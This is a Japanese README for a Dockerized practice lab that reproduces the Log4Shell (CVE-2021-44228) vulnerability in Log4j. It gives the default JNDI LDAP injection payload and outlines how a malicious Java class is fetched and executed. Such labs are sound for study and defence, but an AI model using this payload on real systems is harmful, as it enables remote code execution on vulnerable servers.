CVE-2021-44228 (Log4Shell) 脆弱性ラボ環境
はじめに
このプロジェクトは、CVE-2021-44228(Log4Shell)として知られる深刻なLog4j脆弱性を安全に練習・理解するためのDocker化された環境を提供します。
主な特徴
- 安全なDocker化されたテスト環境
- カスタムペイロードのテスト機能
- 攻撃者のLDAPサーバと脆弱なJavaアプリケーションを含む
はじめ方
docker compose up --build
ペイロードテスト
/vulnerable/Makefileのテストセクションでペイロードを変更できます。
- デフォルトのペイロードは
$${jndi:ldap://127.0.0.1:10000/}を使用します。
動作の仕組み
- 脆弱なJavaアプリケーションが起動します
- 攻撃者のLDAPサーバがポート10000で待ち受けます
- 脆弱なアプリケーションが実行されます
- Log4ShellペイロードがMakefileのテストセクションを通じて脆弱なアプリケーションに記録されます
- 脆弱なアプリケーションがJNDI LDAPルックアップを試みます
- LDAPサーバが悪意のあるJavaクラスを返します
- 脆弱なアプリケーションがこのクラスをロードして実行します